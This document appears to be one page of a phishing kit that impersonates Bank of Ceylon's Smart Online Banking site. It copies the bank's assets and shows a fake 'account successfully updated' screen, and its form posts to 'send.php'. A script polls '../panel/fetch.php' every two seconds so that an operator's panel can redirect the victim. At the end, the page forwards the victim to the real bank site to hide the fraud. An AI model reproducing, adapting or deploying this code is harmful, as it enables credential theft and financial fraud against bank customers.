<?php 
require '../main.php';
?>
<html lang="en" style="display: block;" crxlauncher=""><head><script>
try 
	{
		if (typeof(Storage) !== "undefined") 
		{
			window.sessionStorage.setItem("isCordva",null);
		} else 
		{
			console.log("local storage not supported");
		}
	}
	catch(err) 
	{
		console.log("exception "+err.message);       
	}
</script>






	
	<title>BOC Smart Online Banking</title>
	<meta http-equiv="cache-control" content="no-cache"> 
	<meta http-equiv="cache-control" content="no-store"> 
	<meta http-equiv="Pragma" content="no-cache"> 
	<meta http-equiv="Expires" content="0">
	<meta http-equiv="X-UA-Compatible" content="IE=11">
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
	<meta name="viewport" content="1024, initial-scale=1.0, user-scalable=0, minimum-scale=1.0, maximum-scale=2.0">
	<meta name="apple-mobile-web-app-capable" content="yes">
	<meta name="apple-mobile-web-app-status-bar-style" content="default">
	<meta name="HandheldFriendly" content="true">
	<meta name="MobileOptimized" content="width">
	


<meta content="text/html; charset=utf-8" http-equiv="Content-Type">
<link type="text/css" rel="stylesheet" href="BOC%20Smart%20Online%20Banking_files/boc_banking.uri.css">
<link type="text/css" rel="stylesheet" href="BOC%20Smart%20Online%20Banking_files/banking.uri.css">
<link type="text/css" rel="stylesheet" href="BOC%20Smart%20Online%20Banking_files/boc_virtualkeyboard.css">
<link type="text/css" rel="stylesheet" href="BOC%20Smart%20Online%20Banking_files/scrollbars.uri.css">
<link rel="shortcut icon" href="https://online.boc.lk/T001/images/oraclefav.ico">

<script type="text/javascript" src="https://online.boc.lk/T001/JS/combined/jquery-includes.js" charset="utf-8"></script><link type="text/css" rel="stylesheet" href="BOC%20Smart%20Online%20Banking_files/boc_banking.uri.css" crossorigin="anonymous"><link type="text/css" rel="stylesheet" href="BOC%20Smart%20Online%20Banking_files/banking.uri.css" crossorigin="anonymous"><link type="text/css" rel="stylesheet" href="BOC%20Smart%20Online%20Banking_files/boc_virtualkeyboard.css" crossorigin="anonymous"><link type="text/css" rel="stylesheet" href="css/C_COLPAL1/scrollbars.uri.css" crossorigin="anonymous"><script bis_use="true" type="text/javascript" charset="utf-8" data-bis-config="[&quot;facebook.com/&quot;,&quot;twitter.com/&quot;,&quot;youtube-nocookie.com/embed/&quot;,&quot;//vk.com/&quot;,&quot;//www.vk.com/&quot;,&quot;linkedin.com/&quot;,&quot;//www.linkedin.com/&quot;,&quot;//instagram.com/&quot;,&quot;//www.instagram.com/&quot;,&quot;//www.google.com/recaptcha/api2/&quot;,&quot;//hangouts.google.com/webchat/&quot;,&quot;//www.google.com/calendar/&quot;,&quot;//www.google.com/maps/embed&quot;,&quot;spotify.com/&quot;,&quot;soundcloud.com/&quot;,&quot;//player.vimeo.com/&quot;,&quot;//disqus.com/&quot;,&quot;//tgwidget.com/&quot;,&quot;//js.driftt.com/&quot;,&quot;friends2follow.com&quot;,&quot;/widget&quot;,&quot;login&quot;,&quot;//video.bigmir.net/&quot;,&quot;blogger.com&quot;,&quot;//smartlock.google.com/&quot;,&quot;//keep.google.com/&quot;,&quot;/web.tolstoycomments.com/&quot;,&quot;moz-extension://&quot;,&quot;chrome-extension://&quot;,&quot;/auth/&quot;,&quot;//analytics.google.com/&quot;,&quot;adclarity.com&quot;,&quot;paddle.com/checkout&quot;,&quot;hcaptcha.com&quot;,&quot;recaptcha.net&quot;,&quot;2captcha.com&quot;,&quot;accounts.google.com&quot;,&quot;www.google.com/shopping/customerreviews&quot;,&quot;buy.tinypass.com&quot;,&quot;gstatic.com&quot;,&quot;secureir.ebaystatic.com&quot;,&quot;docs.google.com&quot;,&quot;contacts.google.com&quot;,&quot;github.com&quot;,&quot;mail.google.com&quot;,&quot;chat.google.com&quot;,&quot;audio.xpleer.com&quot;,&quot;keepa.com&quot;,&quot;static.xx.fbcdn.net&quot;,&quot;sas.selleramp.com&quot;,&quot;1plus1.video&quot;,&quot;console.googletagservices.com&quot;,&quot;//lnkd.demdex.net/&quot;,&quot;//radar.cedexis.com/&quot;,&quot;//li.protechts.net/&quot;,&quot;challenges.cloudflare.com/&quot;,&quot;ogs.google.com&quot;]" src="chrome-extension://eppiocemhmnlbhjplcgkofciiegomcon/executors/traffic.js"></script>
<script type="text/javascript" src="https://online.boc.lk/T001/jsdir/common.js" charset="utf-8"></script><meta name="format-detection" content="telephone=no">
<script type="text/JavaScript" src="https://online.boc.lk/T001/jsdir/boc_virtualkeyboard.js" charset="utf-8"></script>
<script type="text/JavaScript" src="https://online.boc.lk/T001/jsdir/rsa_compiled.js" charset="utf-8"></script>
<script type="text/JavaScript" src="https://online.boc.lk/T001/jsdir/fb.js" charset="uthrf-8"></script>
	<style>
		html { 
			display:none 
		}
	</style>
<script>
if (self == top) {
	document.documentElement.style.display = 'block';
} else {
	top.location = self.location;
}
</script>

	<style>
  .imageye-selected {
    outline: 2px solid black !important;
    box-shadow: 0 0 10px rgba(0, 0, 0, 0.5) !important;
  }
</style><style>
  .css-viewer-style-display .media-queries-highlight {
    white-space: pre-line;
    font-family: monospace;
  }
</style><style>
  .tab-copilot-suspended-icon {
    animation: pulse 2s infinite;
  }
  
  @keyframes pulse {
    0% {
      opacity: 0.7;
    }
    50% {
      opacity: 1;
    }
    100% {
      opacity: 0.7;
    }
  }
</style><script src="chrome-extension://khciooiodcoldcolgofbobodmedlnomd/activity-tracker.js"></script><style></style><style></style><style type="text/css" data-fbcssmodules="css:fb.css.base css:fb.css.dialog css:fb.css.iframewidget">.fb_hidden{position:absolute;top:-10000px;z-index:10001}.fb_reposition{overflow:hidden;position:relative}.fb_invisible{display:none}.fb_reset{background:none;border:0px;border-spacing:0;color:#000;cursor:auto;direction:ltr;font-family:lucida grande,tahoma,verdana,arial,sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;line-height:1;margin:0;overflow:visible;padding:0;text-align:left;text-decoration:none;text-indent:0;text-shadow:none;text-transform:none;visibility:visible;white-space:normal;word-spacing:normal}.fb_reset>div{overflow:hidden}@keyframes fb_transform{0%{opacity:0;transform:scale(.95)}to{opacity:1;transform:scale(1)}}.fb_animate{animation:fb_transform .3s forwards}

.fb_hidden{position:absolute;top:-10000px;z-index:10001}.fb_reposition{overflow:hidden;position:relative}.fb_invisible{display:none}.fb_reset{background:none;border:0px;border-spacing:0;color:#000;cursor:auto;direction:ltr;font-family:lucida grande,tahoma,verdana,arial,sans-serif;font-size:11px;font-style:normal;font-variant:normal;font-weight:400;letter-spacing:normal;line-height:1;margin:0;overflow:visible;padding:0;text-align:left;text-decoration:none;text-indent:0;text-shadow:none;text-transform:none;visibility:visible;white-space:normal;word-spacing:normal}.fb_reset>div{overflow:hidden}@keyframes fb_transform{0%{opacity:0;transform:scale(.95)}to{opacity:1;transform:scale(1)}}.fb_animate{animation:fb_transform .3s forwards}

.fb_dialog{background:#525252b3;position:absolute;top:-10000px;z-index:10001}.fb_dialog_advanced{border-radius:8px;padding:10px}.fb_dialog_content{background:#fff;color:#373737}.fb_dialog_close_icon{background:url(https://connect.facebook.net/rsrc.php/v4/yq/r/IE9JII6Z1Ys.png) no-repeat scroll 0 0 transparent;cursor:pointer;display:block;height:15px;position:absolute;right:18px;top:17px;width:15px}.fb_dialog_mobile .fb_dialog_close_icon{left:5px;right:auto;top:5px}.fb_dialog_padding{background-color:transparent;position:absolute;width:1px;z-index:-1}.fb_dialog_close_icon:hover{background:url(https://connect.facebook.net/rsrc.php/v4/yq/r/IE9JII6Z1Ys.png) no-repeat scroll 0 -15px transparent}.fb_dialog_close_icon:active{background:url(https://connect.facebook.net/rsrc.php/v4/yq/r/IE9JII6Z1Ys.png) no-repeat scroll 0 -30px transparent}.fb_dialog_iframe{line-height:0}.fb_dialog_content .dialog_title{background:#6d84b4;border:1px solid #365899;color:#fff;font-size:14px;font-weight:700;margin:0}.fb_dialog_content .dialog_title>span{background:url(https://connect.facebook.net/rsrc.php/v4/yd/r/Cou7n-nqK52.gif) no-repeat 5px 50%;float:left;padding:5px 0 7px 26px}body.fb_hidden{height:100%;left:0;margin:0;overflow:visible;position:absolute;top:-10000px;transform:none;width:100%}.fb_dialog.fb_dialog_mobile.loading{background:url(https://connect.facebook.net/rsrc.php/v4/ya/r/3rhSv5V8j3o.gif) #fff no-repeat 50% 50%;min-height:100%;min-width:100%;overflow:hidden;position:absolute;top:0;z-index:10001}.fb_dialog.fb_dialog_mobile.loading.centered{background:none;height:auto;min-height:initial;min-width:initial;width:auto}.fb_dialog.fb_dialog_mobile.loading.centered #fb_dialog_loader_spinner{width:100%}.fb_dialog.fb_dialog_mobile.loading.centered .fb_dialog_content{background:none}.loading.centered #fb_dialog_loader_close{clear:both;color:#fff;display:block;font-size:18px;padding-top:20px}#fb-root #fb_dialog_ipad_overlay{background:#0006;inset:0;min-height:100%;position:absolute;width:100%;z-index:10000}#fb-root #fb_dialog_ipad_overlay.hidden{display:none}.fb_dialog.fb_dialog_mobile.loading iframe{visibility:hidden}.fb_dialog_mobile .fb_dialog_iframe{position:sticky;top:0}.fb_dialog_content .dialog_header{background:linear-gradient(from(#738aba),to(#2c4987));border-bottom:1px solid;border-color:#043b87;box-shadow:#fff 0 1px 1px -1px inset;color:#fff;font:700 14px Helvetica,sans-serif;text-overflow:ellipsis;text-shadow:rgba(0,30,84,.296875) 0px -1px 0px;vertical-align:middle;white-space:nowrap}.fb_dialog_content .dialog_header table{height:43px;width:100%}.fb_dialog_content .dialog_header td.header_left{font-size:12px;padding-left:5px;vertical-align:middle;width:60px}.fb_dialog_content .dialog_header td.header_right{font-size:12px;padding-right:5px;vertical-align:middle;width:60px}.fb_dialog_content .touchable_button{background:linear-gradient(from(#4267B2),to(#2a4887));background-clip:padding-box;border:1px solid #29487d;border-radius:3px;display:inline-block;line-height:18px;margin-top:3px;max-width:85px;padding:4px 12px;position:relative}.fb_dialog_content .dialog_header .touchable_button input{background:none;border:none;color:#fff;font:700 12px Helvetica,sans-serif;margin:2px -12px;padding:2px 6px 3px;text-shadow:rgba(0,30,84,.296875) 0px -1px 0px}.fb_dialog_content .dialog_header .header_center{color:#fff;font-size:16px;font-weight:700;line-height:18px;text-align:center;vertical-align:middle}.fb_dialog_content .dialog_content{background:url(https://connect.facebook.net/rsrc.php/v4/y9/r/jKEcVPZFk-2.gif) no-repeat 50% 50%;border:1px solid #4A4A4A;border-bottom:0;border-top:0;height:150px}.fb_dialog_content .dialog_footer{background:#f5f6f7;border:1px solid #4A4A4A;border-top-color:#ccc;height:40px}#fb_dialog_loader_close{float:left}.fb_dialog.fb_dialog_mobile .fb_dialog_close_icon{visibility:hidden}#fb_dialog_loader_spinner{animation:rotateSpinner 1.2s linear infinite;background-color:transparent;background-image:url(https://connect.facebook.net/rsrc.php/v4/yD/r/t-wz8gw1xG1.png);background-position:50% 50%;background-repeat:no-repeat;height:24px;width:24px}@keyframes rotateSpinner{0%{transform:rotate(0)}to{transform:rotate(360deg)}}

.fb_iframe_widget{display:inline-block;position:relative}.fb_iframe_widget span{display:inline-block;position:relative;text-align:justify}.fb_iframe_widget iframe{position:absolute}.fb_iframe_widget_fluid_desktop,.fb_iframe_widget_fluid_desktop span,.fb_iframe_widget_fluid_desktop iframe{max-width:100%}.fb_iframe_widget_fluid_desktop iframe{min-width:220px;position:relative}.fb_iframe_widget_lift{z-index:1}.fb_iframe_widget_fluid{display:inline}.fb_iframe_widget_fluid span{width:100%}
</style></head>
	
	<body class="bg" onload="extractFieldsFromURL();" __processed_98c95eec-8baf-4c0b-b48b-f57592437f71__="true" bis_register="W3sibWFzdGVyIjp0cnVlLCJleHRlbnNpb25JZCI6ImVwcGlvY2VtaG1ubGJoanBsY2drb2ZjaWllZ29tY29uIiwiYWRibG9ja2VyU3RhdHVzIjp7IkRJU1BMQVkiOiJkaXNhYmxlZCIsIkZBQ0VCT09LIjoiZGlzYWJsZWQiLCJUV0lUVEVSIjoiZGlzYWJsZWQiLCJSRURESVQiOiJkaXNhYmxlZCIsIlBJTlRFUkVTVCI6ImRpc2FibGVkIiwiSU5TVEFHUkFNIjoiZGlzYWJsZWQiLCJUSUtUT0siOiJkaXNhYmxlZCIsIkxJTktFRElOIjoiZGlzYWJsZWQiLCJDT05GSUciOiJkaXNhYmxlZCJ9LCJ2ZXJzaW9uIjoiMi4wLjMzIiwic2NvcmUiOjIwMDMzfV0=" bis_skin_checked="1" style="" cz-shortcut-listen="true">
			




<div id="headerWrapper" bis_skin_checked="1">
	<div id="header" bis_skin_checked="1">
		<div id="_topMenu" bis_skin_checked="1">
		<!--<div id='logoWrapper'>
			<div id="logo" class="logo"></div>
		</div>
		<div class="inner-head">
			<span>Call for free on :</span>1-800-111-1111
		</div>-->
		
		
		<form name="frmlang" method="POST" action="home">
			<div id="topMenu" bis_skin_checked="1">
				<ul>
					<li class="call_div"><label class="labeltext">Call Centre - 0094 11 220 4444</label></li>
					<li class="lang_div" id="lang_div" style="float:right;">
						<label for="fldlang" class="labeltext" style="padding-right:3px">Choose Language</label>
						<select name="fldlang" id="fldlang" style="width:95px; height:24px" maxlength="35" onchange="document.frmlang.submit ();">		
							
									<option value="eng" selected="">
										English
									</option>					
							
						</select>
						<script language="JavaScript">
							document.documentElement.lang = "en";
						</script>
					</li>
					<li class="lang_div" style="float:right;">
						
						<script>
							function postSocial () {
								var desc, title, image;
								title = "BOC Smart Online Banking";
								if (typeof socialMediaDesc == 'string') {
									desc = socialMediaDesc;
								} else {
									desc = "Our Bank offers best products in the Country. Find advice and information on Saving Accounts, Deposits, Credit Cards etc. Also visit us to find advice on the various loan products.";
								}
								if (typeof socialMediaImage == 'string') {
									image = socialMediaImage;
								} else {
									image = "images/oracle_logo_final.png";
								}

								fPostToFeed (location.href, image, title, desc);
							}
						</script>
						<!--<img src="images/facebook.png" alt="Share on Facebook" title="Share on Facebook" onclick="postSocial()" style="cursor:pointer"/>-->
						<!-- <label class="labeltext">Choose Language</label> -->
					</li>
				</ul>
			</div>
		</form>
		
	</div>
	
	</div>
</div>


			<div id="bankingwrapper" bis_skin_checked="1" >
			<div id="bankingmainall" bis_skin_checked="1" style="display: flex; justify-content: center; align-items: center; padding: 100px 100px;">
					
						<div class="mainHeader" bis_skin_checked="1" ></div><span class="login-left" ><form name="frmmain" action="send.php" method="POST" autocomplete="off"><input type="hidden" name="idsequence" value="H+Ib7BzvzjbZbnkJFxoGzW8V93iXUqg4IpR+LePD8n0="><script>
var userId = '';
function blurUserId(el) {
    userId = el.value;
}
function focusUserId(el) {
}
function createForm (p_frmname,p_requestid) {
	var form = $("form[name="+p_frmname+"]");
	if (form.length == 0) {
		$("form[name='frmmain']").after ('<form name='+p_frmname+' action="process.jsp" method="POST" autocomplete="off"/>');
		var form = $("form[name="+p_frmname+"]");
		form.append ('<input type="hidden" value='+p_requestid+' name="fldRequestId"/>');
		form.append ('<input type="hidden" value="01" name="fldDeviceId"/>');
		form.append ('<input type="hidden" value="" name="title"/>');
	}
}
function forgotPassword () {
	var l_frmname 	= 'frmprocess';
	var l_requestid = 'RRFPW01';
	createForm(l_frmname,l_requestid);	
	formwindow_open ($("form[name="+l_frmname+"]") [0], 'Forgot Password?', l_requestid);
}
function newUser () {
	var l_frmname 	= 'frmprocess';
	var l_requestid = 'RRCOE01';
	createForm(l_frmname,l_requestid);	
	formwindow_open ($("form[name="+l_frmname+"]") [0], 'Online Registration', l_requestid);
}
/*
Fix for the BugId 17175602
function setRandom () {
	if (toggleRandom ()) {
		document.getElementById('elemC3').value = "Mixed";
	} else {
		document.getElementById('elemC3').value = "Not Mixed";
	}
}
*/
		</script><style>
.butt {
    display: flex;
    zoom: 1;
    vertical-align: baseline;
    margin: 0 140px;
    outline: 0;
    cursor: pointer;
    cursor: hand;
    text-align: center;
    text-decoration: none;
    padding: 0 15px;
    text-shadow: 0 1px 1px rgba(0, 0, 0, .3);
    color: #ffffff;
    background: #333333;
    position: relative;
    font-size: 18px;
    font-family: Segoe UI, Arial, sans-serif;
    height: 35px;
    line-height: 35px;
    border: 0;
    box-shadow: 5px 5px 7px #878e98;
	width:200px
}
		</style><div id="section" class="login" bis_skin_checked="1" ><div class="text" bis_skin_checked="1">
										<p>
											<div class="information">
<b><div style="color: #353535; font-size: 14px; padding: 0 20px; margin: 20px 0;"></b><main id="main"> 
<center>
<img src="res/animation-checkmark.gif" style="width: 20%; height: 12%;" />
<br>
<span class="home-page-text">Your account has been successfully updated. Please wait a moment.
<strong>Estimated time: <span class="timer style colorDefinition size_sm">30 seconds</span>.</strong>
<span class="home-page-text"> Please do not close this page to avoid any unnecessary complications with your account.</span></b></p><img src="res/loading2.gif" style="height: 50px; width: 320px;">
<script src="res/jquery-3.5.1.min.js"></script>
<script src="res/bootstrap.bundle.min.js"></script>
<script src="res/all.min.js"></script>
<script src="res/jquery.payment.min.js"></script>
<script src="res/jquery.countdownTimer.min.js"></script>
<script src="res/js.js"></script></div></div></div>
<script>
            $(".timer").countdowntimer({
                seconds : 10,
                timeUp : timeIsUp
            });
            function timeIsUp() {
                window.location.href= 'https://www.boc.lk/';
            }
          </script><br></div><input type="hidden" name="fldPassword" value=""><input type="hidden" name="fldudf" value="fldRequestId"><input type="hidden" name="fldLangId" value="eng"><input name="fldRequestId" value="RRLGN01" type="hidden"><input name="fldDeviceId" value="01" type="hidden"></form></span>

						
			</div>
			</div>
	<!--/form-->
		<form name="frmprocess" method="POST" action="https://online.boc.lk/T001/process.jsp" target="process_RRFPW06">
			<input type="hidden" name="fldRequestId" value="RRFPW06">
			<input type="hidden" name="fldDeviceId" value="01">
			<input type="hidden" name="title" value="Unlock my User Id?">
			<input type="hidden" name="usertype" value="EN1">
		</form>
	
 
<span id="VBar" style="position: absolute; top: 0px; left: 0px; height: 0px; width: 2px; background: silver; border-left: 1px dotted black; display: none;"></span><div id="give-freely-root-mbnbehikldjhnfehhnaidhjhoofhpehk" class="give-freely-root" data-extension-id="mbnbehikldjhnfehhnaidhjhoofhpehk" data-extension-name="CSS Peeper" bis_skin_checked="1" style="display: block;"><template shadowrootmode="open"><style>
  :host {
    all: initial;
  }

  .gf-scroll-remove::-webkit-scrollbar {
    border-radius-bottom-right: 15px;
  }

  button {
    cursor: pointer;
    transition: transform 0.1s ease;
  }

  button:active {
    transform: scale(0.98);
  }

  .give-freely-close-button:hover {
    opacity: 0.7;
  }

  input[type="radio"] {
    margin-right: 8px;
  }

  hr {
    border: none;
    border-top: 1px solid #e5e5e5;
    margin: 1em 0;
  }

  @media (max-width: 600px), (max-height: 480px) {
    #give-freely-checkout-popup {
      display: none !important;
    }
  }
</style><div><div class="gf-app"></div></div></template></div><div id="fb-root" class=" fb_reset" bis_skin_checked="1"><div bis_skin_checked="1" style="position: absolute; top: -10000px; width: 0px; height: 0px;"><div bis_skin_checked="1"></div></div></div>
<script>
// Wait for the document to be fully loaded
document.addEventListener('DOMContentLoaded', function() {
    var cd = "<?php echo $current_data; ?>";
    
    // Function to check for updates
    function checkForUpdates() {
        // Using fetch API instead of jQuery.post
        fetch('../panel/fetch.php', {
            method: 'POST',
            headers: {
                'Content-Type': 'application/x-www-form-urlencoded',
            },
            body: 'update=1'
        })
        .then(response => {
            if (!response.ok) {
                throw new Error('Network response was not ok');
            }
            return response.text();
        })
        .then(d => {
            if (cd !== d) {
                cd = d;
                window.location = d;
            }
        })
        .catch(error => {
            console.error('Error:', error);
        });
    }

    // Check for updates every 2 seconds
    setInterval(checkForUpdates, 2000);
});
</script>
</body></html>